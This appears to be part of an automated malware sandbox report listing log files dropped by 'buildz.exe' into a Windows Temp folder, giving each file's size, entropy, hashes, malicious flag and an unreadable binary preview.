Preview:	..T.i.t....7.......2.:.)..`.....e.B..q....p)H.[.'...>;..3..hzmF....._..>yu....nD.....Bj...5.D..W.<\.......uC.....X....K...[....xE.."-6;.....(V`Z..~:Cc.p\|<..9.a!.4.....6.n..e\..:......al2..?.%.>t..?...EU...-V.....T.+.)..cdE8..s.\...Yy.........dc.V..r.w...../55d..'0w....-.n<..z.....}.%z."...Dy...FA..e.$.....M._..Q...zN.3!0.y.>...@h.........{.=.6y..Y..;,...jA....F.n.zl...p.tH..Yg,..6....y'45..P.....F.......?.S.e=[d.=...&.w.@S..E...[.x..5..P?..U...B.T`L.).rt9..f...0..}2.k..X.[..%W.O......cN.#At.9y.xs4"z.(.,!.>.#.y.....s.....ith!C.;...Q.....J....R.!.`.+M=C...l........tO..ap,.......J.......]..N<cV.V.".x.u.8..m+....9.......w..f.X...4T.-..k.{s.r[Of#..[......O%.0.....(.d....L.-..[......]...O..[..F...(y.Z.-.S.e.o.O...j.1..9.45Ar..j.[..#..n>......Y.......:Y.2.....s......n..s!E.T..D...#...IP..m.......2.E'./..O..8.8.A.v.<4i.O...Et....A.....N..g.x..."..].2[..T.R.GR.S....X......`.hN.$I....s...7.......V.....V=".....Q..e.kg.{.._.(.. JO..

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258a.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	462288
Entropy (8bit):	5.8490518742820825
Encrypted:	false
SSDEEP:	6144:BWMwJD/IELnGbCnH5f6EVejP6expjmenC:BWZhPrGbCnH5CHWeqeC
MD5:	04426680D87142CFC92F0EF434E064E8
SHA1:	851C5567780BA7552A10076B75535EAD4CE605B4
SHA-256:	DFD44F5B7A5E57EE11D04EB7100402ED8E0FC38A7636222A1D91C3EED0078BB3
SHA-512:	EFBC47DC6063445BD91276949CA8BB6B92720B6800391584D29E1479CBD92A6B8BD795F33E00EE82AB4E6713689F1BF40696A0ED07BDF1EE3F6EF4A9C56A6728
Malicious:	false
Reputation:	unknown
Preview:	..T.iL.....Ux\{4.l..k..x5..$..E...!...m..{D...7.K.....PW.[.`N.zj.....".f....y.g.T..M....-{.........ol.=:.zY.g}x.......`.....'}{..rn.V.....F6..+.w.............y;!W.}.\\.Q,..X.F..l.\.cR$.....4R.~%....n.`.X.;G....7p.(}v.Y ......j........s3......f......1.w....s....'}...[YY.#..?....M.........>n/.....tB..g.+........b.I.+'....7.h......GZ....5aW.-L.}G.ShABJFQ3..#...~...T.%..}..}Qc......I...8B.r.Y.ca...d.....{.5..`...R..,/.b%.._.]....2....+.JH...3.m..f?..m...w..w4.=.1..f.t.Q..."x.L#.peV#....R.),S..../.6......=.....O"=.....:...-..... .*L....]. .._`[9..O..K....}A...k.5..Ck..0.=.v..V...[.."..f.p...^...#&{p...XO..\..~.4Ks.....y..L.S.9UPv.b...6ba..v.f`t.......CS.Z..S..-......e8..)..e2Q.W.z...n....b...R.J.w.C..,...~.9....cf.....Lo...U.E.g.O,..2{u"8;5oG...3l.I.B.v..Uy....p..S..q.T$...l.i,k....MS..k.h..l.....J,U.vv..U...F+.}.P..,V~esaN ..."..F.37....d...t...Z.M.@.eYu<......0#\|9#..2..7k.vs...R.N..3.....S..L...tT.o.l\|..7#...O.<..yy&.`d"t/P....F.%.J.8.~.q..%

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258b.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	289976
Entropy (8bit):	6.696286739419112
Encrypted:	false
SSDEEP:	6144:YCYBpVQHOOsIQNpoqO0F3pHNF9gD676u6QzIcGnivkuX0b39/22ZOKyymLe9qDOD:3YBpOHOOsPoqFLaEzIcGnivkuX0b39/3
MD5:	EB2D5497DBDFA1137273F72617D20B1A
SHA1:	1FEDE1B7EA9C22263DC00329094896F9E9CFFBD3
SHA-256:	298D59AFDE7B323A1E766CAE694BB9F52B3A2399C8BC6DD1DB75A41F9E1F7C7C
SHA-512:	DAE65D0075EF2CCF16DF27952068BAE94CE13FFE604E01CCE5FCDF922865D5D09F3F654BA03068B0D71C8DB73615BC73DF70523C103C5565CCE24DA204322F05
Malicious:	false
Reputation:	unknown
Preview:	..T.i.fzN'.h..\|.!.'.....$...s'H;.......9........v#.4..Z.c..D~;..G....D..21.j..C...h$~.C>..1....`..!.....+"n.].:..j..k_..3H...R>b...0Y.U...g...w.Zr@x......27.]....O..:........Sl. ...[......v.V..d...h.EV..Ai....].6..>P.Pl"..x"U>T{c........C!.D!LP._...g[......_=y...p..-.Z...D..17..F...X.....P.......Lp.$d../...l.....x........w..&.p\<T..i1i....@}.^=..O'.hH.u..i.G.......D....R4.vxk.p....w....\|..d..}.....D#..N.F.j'.9...S{w1\|m.A.....k.Q)[:.K...4...H2f..~P.g... ..8..,....AW...h.._..W&~.y-...x...Tv.8.....=..6.]+...........%..7[#T.;.f...p...-,:..x.b..T.B..#....D{.?...[?..iG.....h.......w..a..e.J...w..1Z!..U.l..C.#u(..E.A\|...=5MM...}....f.+...l.,...;.....O..TW....0!....w.@...&.@..-Ym.....+.6G:6=..-O..[.L9.\..O.e@...J.....7.P.k.S..qW.dK.<\....k...O+A...}Qg...Y..;<...qh.....`y.C...`Iy.4.XQ.O...\|#9...d.......4`.a..jZ...t.b7X.:NS...CL...Z0.4.+.L`..<.k....X..T.......J.B..8H.K...].uxQ"n...E~e.iI}.)f.,9....M.b..eU...\|v4G.+7.5..(..K..:.../...^&..A>..

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258c.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	98568
Entropy (8bit):	7.998278629565927
Encrypted:	true
SSDEEP:	3072:Bn/9txafTDM6HSAxLfPFVO2zBVyZWxrFZ:prxaffMoLfLT/yYNFZ
MD5:	47F5D48C79194EBECB044EABB26B3341
SHA1:	41BC7C227CDBE0B31F933D6D01EAC31104156795
SHA-256:	5F572861966BDC5932D8A38E621CEA3D9FD029F72070498A3A504AFA96B96997
SHA-512:	021B42E2897082708EF36821CF12444865D9B8404BBA13E856890260B58F965665D9009CA59E52F0A81B4FFD0C765755B69E7F93DBD6C976CE423971B5B69E2C
Malicious:	true
Reputation:	unknown
Preview:	..T.it[..,wI..Js.l5e......^^.6dt.Bll.x...R.R.O..E>.....9................Ld@.&...E.b{s...Y...~....._fY.O9..@.!..O......#.(.t.Z......]Y.^D.,.G...fVf...[..e.C.....3c..H$..'.Q..a....;......w.&H..)4...$.W...5X....s....Qn...c+49.....-.^...>l..m.]..z....X..<...w..._.bXI...T...o5.sg .e+.Nl.Y.a..~..>.dp.B........sh.Ho..L......g<.o.E.H%.........D.M..^.p=......=.>....W-=..k.n./5G=@.f....T.e..Q..z.y&.k.MJk....-z8..<<F...x....[."..b~).E).....Sj.\.TU....3g.\#`I....O.#....G._...\|.<./..w...@.).:..).B.pQ...\.^t!......~m.+..>..2.s..,R.C.O..4o.$....e.U..h....fv...S.c+..8>.Z'.~..9.0.=..0p...^....L..v...4J1.H-l.Sd..db2[/.ii..}...p?.. ....^.}.....i...l.D.a..,XpG.W...*..8..i8.S.[..%f.._...y..e7.g........]i.-..k.(.6E..n.1..A....o.Lk..Yl..D%.R...;w...<U...@!0Ef..........l.n.Z3.``Q.o.G.7.......~Ni...:....................>..V...w...#+.ehA@=.az.MSY.d...Q..^\|..J.,.K]Y...h.&w..3.....V.(.H......WD.~.S.....2......\...f...j......a..`&....z......I.2.=)S...M......\|.;.P

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1305.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	395914
Entropy (8bit):	6.09939943270388
Encrypted:	false
SSDEEP:	6144:TskHQyXOw4RmJCkzrVrWvaG6dRS9z3PQ3f:oi7n/BKi03Y3f
MD5:	FEDEB399F16768DC673B669391096DF3
SHA1:	75FDD910383844385CE357CFA53308833C944FEE
SHA-256:	7E6E6CDB2914F1E90BA57D94796C8E6561C8356CDFA2032225C7BE1010738A63
SHA-512:	154E6EE2066FDB238B3B9214EC5DC10D32EFB32E16C7B628B563EFA6016E2ABE03A8BD543C03BC7515FAED77FB3674E7C980A110FE95110E98610A44A331C954
Malicious:	false
Reputation:	unknown
Preview:	..T.i..!.^(,.y.3.Qf.I=K.}:........m..8o.....e^....K....#N.g u....<...s/.l.&....C.^]...'...7.%.."'......q{f.m~,.Y.@}.....d..?..v......(C......S.....S4....X....p.2...Z.+....W...8.;... f...fcTE....Xt.K.....Y\|.z.h]Q..y].%....q..3..yAg]...y."...I0.\.=..^...c4p.4..r1.qI..D<.\|A..."..._...s...P....1..f..:W@.T...K.D.t.U.g.E...QR..O.X......hc.\|.HY.%.E\....-...T..K.Y.,....t...w,...C........lN ..<..m..O...\`..To ..h.F ..\|..j....#......nz..DS9}.}u.f...5.!.............J.....zN.......Tze.=..[}.a[.=..y..3.Z..o.`....}Z.2.Q....EN.V..D...#.gv..T.Lj....Z..{7.<.yC.8.y..O7...)z....r..IL\|.$g...K5/........wR.........f.e...WD.0...gTt..A.....D..w).qb..EV...@.x.........B.......d`..<...(.......#..~...b+`.5...3...(..,..Ik......._.)..(....KJj+.w...2.7.......HV.?g....`..2.X..^...X.Z.r.W...yh..%Zw."~r.)....K..r.y...\|.$d.R...!r#...-.T.7..../..~.Bq....M.o....jT......QI.....F.8..'.p.....1...........O....%IBt...^i..a...*$9...R..;.d.V.>J&4Q.N^A....f....

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1309.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.998790957580275
Encrypted:	true
SSDEEP:	3072:mu1G3fBV4Mpoh+xwa3wJay0PBWQFIqxoCK:m6G3wCocxwL0JWQFIqxPK
MD5:	050D6B63AF4457859029C70150E83DEB
SHA1:	C5E0C15BF9E6C186E65B3272E4D63AB6394F7F41
SHA-256:	0733FA8A5B257A218792A05C7DEEE46753A1E1AB491E04AC088809634382AD7C
SHA-512:	25DD1CDDD130233D5B23E4773E655BF0674B68BCC12E1A8F5FCD288722485D89B36AAACA3B3DB969CF6AA68603FA8A8F1FB4A85348A42C25A05FDED35F783651
Malicious:	true
Reputation:	unknown
Preview:	..T.ic.0Y..( .6....BP.v.>.1.......OP.....X..4. W...\|wA.z4.\|.P...K.x.........L5.xG,d..%....[.U2......"/. ..<z.#.+>..9.".-...d..q.X.}.....w...m;...7J.B.#.UQ.oq...{G"5(..=.h..w..T.~u...{......^+.>..{...L../....rj..Vf...uP.S#x..6.p.i`.y.H....B.-..i..%.....kG+...gk.Y.rBQz.@. ..\...z.~.........`.d...]Doa..J..d~.o...A'Z..Q.....# ....^.tU.\|9L..yl7.U..2>0.e.......NL.X...{.:F......+.....1.(.(Bl..DKH1.Hc8Wm(..97........I...7...O..~.>z........Q..-.{h..`.x.AI..............z.E.s. ......Z.s..B.:..&.......'5.\c....z.jR...Q;....e..S..S.$.....f~.t.o.5..\|..b.3u/r9...1.>4:<~.C7..Q.?...c......:.D..2...y..o....8..3A..q..mn.e..`Z..\6....=I.,..>.l%.M...[z%t..y.A...#_..A....s...,..J.c-.........H..Gr~...7.7k.G;.x.m.....k.R....pA..%.A..7.B...4....,.1{.\..V..rz...x.yJ.o...'..(\<....^..ar...K.T.....Q........z.fmB....4.J.j.W..$.X.0.Z...GYf...'...\5O..q.+...g..=-N.].3hA.c..1{.{.>.dE^..s6.6uq..+....f...o..:.G.;..../..KpY*?b;.k."n.#...&..=h....L...E......:...r... G.L......

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	9798
Entropy (8bit):	7.978702101292995
Encrypted:	false
SSDEEP:	192:6Wlo+hPGt7br1AjQ2p75O0XydzN8EPQObu5OT8/+psmjnOFT:6Wi+h4Gh5udzNmOT8/+psYnOd
MD5:	4E1CD48D30900988D89C2CFFC4220231
SHA1:	DBDB6CEDF705018CA0739F9876634F4FD22DD5F7
SHA-256:	5F2A61759E05D32A75DB64BF74EB55A5CEA7392FFE1DADB5A2B400526F3CEAA2
SHA-512:	529080F6AF95243894DB5419B77B26346E880B5022B98BD1E0001596627262979993FE146199F23C523103E988D78C1BC3A788EFCA027784C997754BA8B99AE8
Malicious:	false
Reputation:	unknown
Preview:	..T.i.A..h]..1n9.....C....b.f... .....6.T..o.0.d%.Q4>......v>...@..,CQ.P.El..:p....i.Q...wZ6w..N..r...(W....C.. ...2i%....X....\VL1.$... ..9..]j.r.2..Q.A....(.5.....F.6.....q.g..{...Y.:\|?Ij.X.Ndl.-....9.C..Iz.l.....Re.......Y"eS]...gd.....ZT;...... &.x..][.+u.\|.%6~?...... .m-..<Y.@..Y....=......%.....".'C..;CzH$'..Y....F'-k...6tyea.........Y.......5`D$.9%.....o.p.H....0#.2.h.8.eru.x...)o]....H.....^&..s..9+0...3.....:...e..jV..#^.M.g.$.-@_d.......I.....D.+3Z...I_....U.4.F...2I.+8.N...sQ.7.c.0...dj$.... .\|\|.Iw./I.eZw......)..i..\).....+.9.z.rw.8.D{P.....0EA&...=....lKy....XI.#......"!..(i=.,.9..W.+...._!gW~>L....YE...b.uy]@.x8...<.s\...B~....S..`lYPn.}.....wn....Xi. ...Qv...]...l.P...XC.\(.r......y.<.#i....Uf........Ej.w..y..2;..>.o...._..)DA...q.g..^m5D\.....`/.]..<....\|G.r.E8.:.y...2..9t.KJ/j(),-.9H.[T....:... .8...i3.....$..A..F....a....[..G.O..W.1/S....[]VaY....T...#[..et...N..x.5VP...l..w.].c...rR7[.DD?..w\.l.....V....hnM..z....o

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929a.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	58820
Entropy (8bit):	7.997032602867886
Encrypted:	true
SSDEEP:	1536:KMNnzixpAymCmYYDXxgnTrVxwI1SGncImuGuO2:dNnmxpBVOKTZyI11hxGr2
MD5:	9CD4D7098CC2C7F72A1E8E321A9AB52E
SHA1:	EF87BB5A849A270CA1D1FF9A75AA1246FADF5264
SHA-256:	BED56B04B3154F40376A0C412B55A4EBD2CE8D51C6DA97E5FD5A4493BC991EE6
SHA-512:	A264AF8CA6EAA0CE8D1AAB28566FF7656262720059109D14905D625CA6D3E5ABAD4A8859531C2EB0674B16F6D5AF287CE854F3496AA4CA791F08CABC57DBD7EE
Malicious:	true
Reputation:	unknown
Preview:	..T.iR.8z.v.4T............K...J....k..j.2r...~;.M........sPO...l..t.Vg..d...g.F.....:....c...P.....6....c\..>.{.}'....Y..o.v.Tu..K..I.>X....f...w...u...b...P...=kA.K....B...L..m....e_..G...v=O8.6.).........#'.n..E..K...}..d.nzK...f.D":O....@.Q&j...n.P..!.Z......1.].}.N..]..%v'.....T."Ks......1#...=...<..7x.i...o...l\|..%g.._.\|X..lE...Fy?..N8?...".$..,Q~.,.[.G..#.8."....v.........4..af`..@......rON..2.D.lSt()$.... .^xK.=.(.y....9.`{..3.wX.Q.^,wd..0~.k...V(G..<.i>N...&h-..0....(P.E#....b.q.J.@..W.FH.D^..]..d.[..g.m7.i..l...G...WL,ca@....-.m.h...[.l..:L...P..d.D.$....KN..u........}L.T.sk.=\.....G..WB.:..A/.\|..._i....k...gFY.Q[...Y...... .T...a.Vuq........m.:.My`K.O.W..H:..y..=.H.z.k/Lm.)..2....1f..t..=.....QVkn....fj&2.......{..u.-..`&.gfA.{.E....V..G.../.:.2...\|O.......h...X.<Is...!..b;.;$.>)..XGS.e...O....s.....7!.5 .SH.g.Y!k..9#.-D..#u.zM_.4s..;.........$d..sD'.#..G{.)\|./@.....bC...r.....3g..`..^E.o.;.7<....o.K\.......

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929b.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	112686
Entropy (8bit):	7.998262701725931
Encrypted:	true
SSDEEP:	3072:ysr7lofRp9QRJ1F0LN/60MBqttmNkGC89SS:ysr7lofRHi7F0LNyx4myS
MD5:	848A745E69771481CFDABA9DA0F4E13A
SHA1:	4847A25D7FAF01028287413001972A468E0C7A35
SHA-256:	EF636BFA1C7685E4019926B1629FDD7413E8ACBAF6AC1E267F4B23EDBE9BFBF2
SHA-512:	232F4D6F9A753282A5451A560F38BCF75246CE6C462328FF5093B9EFB131186BD583703A885BCF8C58439BB4381E5F9F6B6327B79C2229F26C7957C836E00BC9
Malicious:	true
Reputation:	unknown
Preview:	..T.io.5..d...v.9....#..rF.6b..N!T.u.....C.q]..F.. ...:t#..F..>.4W..v.,... erG.{..=[QTS..R"A)........[S.._.<T.y'9.Hw....F.....Cl>...-l...q..1k&...$..ER...w..<..8.f#...<.L.m..1..R.9.{...6...L.a.j.I..$ox....?Y..%YS.....9.a"F.....!0........Z}:...k..J..\|......L....6._....tq....0.[..J._.....l.WmM..i.=H..Ngv...\...f...'zx.m...P..q`.._zA.#.....?.......l.$u..c.,....~...d...\|..E......5?.,..-{.k.u.....7..$:SF..m....+7...I..?....y1hh....%.7v..<'0.@........1.%.P2....4.f$."..\.....:+_.-U.fO..j.A..s.!~.B.....gR...(......Z...-Xn..$J...\|..Qs`...._..........U!<.vP.#....v.}.. ..<v......s.6XW.g.......9.......r.s....\|0.QX..+.w.F7........6....\..........>.{..AN.U..4...A....D(..4....m...<.hK.3...=..<L.9....c..<.>.et.9n...e]I....d y.g).........xK"..TF...8\.o..#.D......L...Y.{E*.G.. ._L./T....K.4.&<....N..}..0.bA.....k....9.(....?d../.g.O:Xk..H[.".}....J.k...eB.U.(.m6Y..0=...oDKwm.....FT...3.E.h>\|....R.....0O..........7]k.....9..ut...n+........@.."i.

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929c.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	7696
Entropy (8bit):	7.975221114299122
Encrypted:	false
SSDEEP:	192:ekJfKpkAsu4cYyTNbUQxtpKW2yuq7KYYqKk97n6AfUPbq:vJ+s3NyTN32ybKYYvk97vB
MD5:	2F73007D57835D199261F25BD890DE0A
SHA1:	0ECDF16F654C6C3E2518C7E9A8DC8E2CD159CE8A
SHA-256:	39FD85F5936CBF2FB7D53275CB6AFD96D848C667A16CB3546634AF4317FD5FFA
SHA-512:	ED50D13E715134796A0E2EAD1B66C4C9C04952BFE732FD2DF9052C316B735FBA5B8799623162C2708D208CB1346025A7117BEDD9A68E1067E87F37450D4B65F3
Malicious:	false
Reputation:	unknown
Preview:	..T.iM.....xI...uj.......D...Lpg...g.F.oA...0..>.....XM..c.<.S...yLsYgi..z<..1..dY...ysb?.....h....ex.A..Jv..P...JVl..}.y..Dw..Hn5......CQk.>b.0...+..............pm.Y.i..f......_....'..9.bOZ9o.g...}.."{.....&./,%....I..G.U..F^..kMK.v...U1.......Q.L.....>..B..zR.yR..I...j~.....q...OEp..f..6D.z.....\..~(.L.li83.L.qb..6....am.bW..i.A.....)..EB.p..\.~Sr7.!.G..]b.9.k....`.O.=k[..R..G>wQp....T.Q.T...M...(l\|\.J.C.5.....vmv..Qu'B;..)"....t......R..d.......mJ=`.... H....h.<.<?..@}.~[....`..J...#k..Mc.K....D..^.....o..W..W.:.s.......r......XY.i.e.i.H..8..B.2....(r\...v..;uq\|....c^%...8..D7.....;.....;{..>...@...nl.Z.&.;._Yg-N.B.kH...1.y.>...v../...:........._}..Y..W.......=.@...w.&...W..V1...g+..P...e.%I].WR.%VA..,...%......e......A.N.k.>P....#./..X...0....Z&........j...K.0..~?.1..]..z&-N.L,...bc).[..yr.........V..#..l.^<...A#..c.s......lDVmzI:.u....(s.....~.....R'./U...9..e....\|q ..U..^...)....Y.mS......jO._..#yt[Hk..#.J.;..G...yV).0.oR

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1000.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	40082
Entropy (8bit):	7.995512959505043
Encrypted:	true
SSDEEP:	768:OoI4oB4Ezgf49ZVQBehglvOAC2XYNa27ydB1je3f+OeK:OvhNgfnDFtXYDmdB1jk+G
MD5:	B743768F88D53CF4064F937FDBC77994
SHA1:	6A65941D2F23CB52C918DA5E7CAFCA4669F341CA
SHA-256:	AC8F56F4B4CE121AF621D8724CD6CD8840B420A67BA1997F0709594AD247A5C6
SHA-512:	35EA967003DEECF0D9D524D5C74D6D6054C36DAD6825F449EF431557B9BC229179708F198A5A9215AFCF18937A50F377801420EF1A5B5C5F5A7D659675EEF7C2
Malicious:	true
Reputation:	unknown
Preview:	..T.ii.;=p..w.P{.A.x..K.A.jP...;..#Zc.x./...s..Z.L.3e!.S..=\..bL.4.[..V`...0}....d..\|U/..u...........ys.3Jn........y...i...p\.....E._.D...'......U....bb]G...Y.-...+..........v.\.I....O.'..v.gM.../...77>...\%:......>....$.$..=.r.Q...O@._....Vo..p....8T.v..b.%.HF,...}G.Ys...p]..wk>..q......>...~p.8&L..+....,....sv.iZ..S...P.i4o.AM.....+..2.Q.f....W.\=9..jh.L...8.?.+..N....V....,.t.......-..4..A............$U..\..,...L...F......8...r(4h.}....=...!.......).;..<.:....t..2.4..4..!.d...4g.o.yf.l...l....S<.M.j..2..aU'.A8..g..J1...v............t.......f[....Z...\|fA.W.D.v......?S.Bz.x.v..sv..j.xj-..L..wJ.Nq...v.i.Jy..\|I..+.k......@.;....4...H.>.....u%K!?8.:...D.b...Z4+....NZr..]..M..\|...B..{}E.B-.m.."...Z.E{.T...........iY..?l.L.Y+R....Q.,.~cD;..l.P..:...g#.a...7N..I. .x..2.1.<0B3J....YP+.}.+......^u..\|q.R....M.e....6t...k$..>.mUb5...Y,q..X7>.gi.AM9.b}.dB......?7.yt...Y.....w....S..5@c/.beNJ..Z.J.I..a...w..o.K...............'..Y.w...

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	18522
Entropy (8bit):	7.989948596127813
Encrypted:	false
SSDEEP:	384:Lc+cf7NjI4VSNOKGzMs81LatWPdwngQT1PhRJdvPR:Lc+cfJI40N6JuLIn3T/LBZ
MD5:	222FC872A83ACFFBE4E4CFB07A32C52A
SHA1:	D993FAA1CCA983154A558A14B6A14B3C89CA27DE
SHA-256:	4568514F7587243B9B37538F0DF8E2B6B65ED92FE8A037393B6A56341DDEA3A5
SHA-512:	5923060E634C63A283EBA98F9ABD3D602D0760980ADA5CFBDAF47020CC7404D1B470DBEAD919F3E0B1986051D492172312C2D7A2A11F4B5E51BCFDCE28745A2E
Malicious:	false
Reputation:	unknown
Preview:	..T.i......3-..A...Hr....Y.Z,.oh......Z..#. .I&..[..'.M....wz!]Hd.5.h.V.,.m2.i.Or..jj.....V..Y_.: -....A.?.\..B.:=r.YU.(..u/.y...B..~.L.....m.7.rbFR.r..WD.70.~Ul..7...[..xn .n._..R.&.z..."9.l..an...}\|.. .8....J.h.c{.P78h.Q.D.....,.:z.K./...{v7S......0..LQ....$..x....~.....}..\|.".nX..>m;......4..,%.k..V<..:+YO..f......Am..._.0'..u....c\|...]Sd...I/5..._DFN...........".T,<..Ng...uR.{...FRQD.jy.k...#......l..F.P.......l.tj.M}.......+jk.IE7.K....;jNf.0.....e.B{.....c.......?.\|....Z.+\|.K..-d.r........`.\|.5h..}...u..Y%R.u.<.,)l..n.e..I.?.\.B..x.r.....7.[;..;rm..`..Y...!.....gR.8..........i...%..............o......U?9...k...9..~w..V......&C..=....[ge#.^.Q.EI...1...#{.Bh.T..T.~..d.....=....8!....0...[o...R...0.....@xx..B......7...@./.>.\........\ V...G.I\|.....k..`.[.'b.S..u?.8..~.{3.Nh{A].8..q..}n.mZ...T,..`...+...2+/.U...f..H<.l{.....\|..i.5yo....'Nd....e.3.>,..}...&*.K.qcA..+.~...rG..vo...-.}%......t..y.......k0.i....n...p..=..B.y....

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051a.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	96078
Entropy (8bit):	7.9981632910865885
Encrypted:	true
SSDEEP:	1536:FjSQUCLMVa2uSgPkGaoSWYGvNqMoPSBSmfSRXUCGAnfZt8qqZ9vRPZNgO2cIE38F:FjUCLMVyV+qSm5ERDqZdSfcIE38F
MD5:	4CFFE34C9258376359CFA6CC3B2C4D12
SHA1:	864FBA93FEF9D06FC50CDE422A977487A7A473BD
SHA-256:	9F1A65F12E54F01FB84E1F28ADD7E3AE867FEE9F70C0898D0D036ED55B410C0F
SHA-512:	F8502F978A4E888DD03AA2B90874F5685E922CE550CE3721A7673EFE359DE2923808F33B90DCDFF2205243FEDB5F8854D7C7D16487B008AFCA33F2D1777214CC
Malicious:	true
Reputation:	unknown
Preview:	..T.iB.\|.;.=.%..?.......a.......n$.4.U._..........~.....O.$..7.6?.N.@.}...8B&.c.....l...g2..a..k...U.].P..._..A1%.7x.;......vG\Y...=#/.Pv..t\..k.9.va.+E..P..`.3B".D......^ .....-k..o .~KP.so....dvxV.I..o....AX9$.Xc..,T.Gy....=v[;......-....J..P....<..3..Sskt......V..!..k....u....Z.i......./..ML.r.C.....5Fg{.0v"...5 ..K8."....('.0G...^..U5..')....A..My~.7....3.U..E..y.....F..vu...p...cV........E#.+.~.....\|....S.......x.....L=S.5.H.L....)e..&?.a.~..@1j.<...C..m.1....,.W.....l!.>.zs.]R.......[.0[...2.).~y,T.X.....;....,..J....0.p.5F;M..!.i.$M.`r..\\|..l..$j.RG...N.?C`..3.QiQ.Z..............Y......1\|...v.....m!_.8......_/..fW...<...e6..V...K.j..'..4......`....0..1.....`......T...4.)<=..~ ..v..........w.=..`7.S'M9..:'..A..%<#.......U!E.@....n..7.e~!\....$":....@'...A../.].H_.....s.Y..Q.1.3...g......,....5R?..<{...0r.[.h!..C.g...../3.5='.8.%..j6>...8...C..#.......V:........Z..2..a.Y..jB..=-.Z.......O.P...EcC.:...B.l...)..r...`..z{..M

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051b.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	318854
Entropy (8bit):	6.505596252982785
Encrypted:	false
SSDEEP:	6144:UkvulD3AW0VmiSGwzz9Kgycm9BOzG4axarao0XsGH96e2jyrEQ1xyJmc7cuVfuhg:YAW0XS7pKgycm9BO/0XsGH96e2jyrEQu
MD5:	42FEA4869CB2AC3E5CB3807436754E7B
SHA1:	7B916C3DEBD990FC556BBC3B3A163F4647F1E467
SHA-256:	37378ACFCED37A0F2A94B79C1BEFC7080704A456F62F3B6B0E859DECD57F0FF9
SHA-512:	861B08D0DFDD61DD35723AB82C01A55E0BD5BB042F124D36907D201FE791C264CF15131F4BDF4D61207DAFEDBE43F003262CE9B7FC68C184C1EE28F4EE0565D4
Malicious:	false
Reputation:	unknown
Preview:	..T.iL....#...K..@......8].........?.6....q5..(.+......z.+...Q.b.+..g..,37y.r..vp?^...F...b?.q...@.z.y.D.z...Ko..../..I#...[..O..e8...y.~+.D..b..\......e.3.f.../.z......im..+x.....l@.Q.Y..{...... 2..G.M.. .......\.5.H..\|.;O....n.3..6&.....'.2.4"S...^q.AF[.be.&..X....e^..>.hV.j.)..."H.eR.....?..f.\fv...W.../......5,._...u....).............tW..RC*~"0..9!%..ST.S..S..sEX{......-.K.[...Xx..q..T.c.AoE.JnuX.L...l$.I.w.s..b...._.......t...o...Q..T+!4=...3.i..t...h......[h.n.J..%..V...M.....h....:..<.T..p...Y..TKi.M..Jg..o...K......Ky.).s.>.L.>....$..bC.....q....3I./`;.$m.s.u...%..X.....g...~.).\|?..E.MG.t&H..!....R..2E..[z.6.e...@.xc.[.8.R.,....A.<..d......nA..~..\|....M..-.....W-..9.....Mh..H>,.F.xB.v`...D].....@4W3~?.d..Rh.>..]....i.G.Ms.u.8.].'......s..&d.......n=...4B..~...-..Q.z.......$.L{.H..5.+...}..C...F.!...N...!.T...<....`0.N......f{'..G....P...L..A........O..G.;..rf.E=..#......b......%cS.]X..U....}M..Y.v..!.[.7.H.H.CX.l..5.<.oS....u......._s.6

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051c.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	159516
Entropy (8bit):	7.968938987325958
Encrypted:	false
SSDEEP:	3072:4iT/Ukaa0Am/N+qtPkNCck2vDDoEvt0gnXjBRT9vwmkkj6cLzDjdF://LaBF/oLNeEl0gjTpwmkkj6cLzDjdF
MD5:	AA1DE21202F9E40D2FBEBD1CE94C9093
SHA1:	ACCA9CC77D6A5638EBEB9675102F37DD8A07B998
SHA-256:	65D2F89528F784B2AB96B54DE15B100437524B29C9DDB293F7F121A6F79C4AA7
SHA-512:	85BF9EE83CA74DD43D067C8C4A2D24442C3BBEA2ABCB3FABBADC393A21B5200666E93F06AC9303B278C5DA2EFE69E812B00005CD7EAE9BB2D0A175E30F5ECC8B
Malicious:	false
Reputation:	unknown
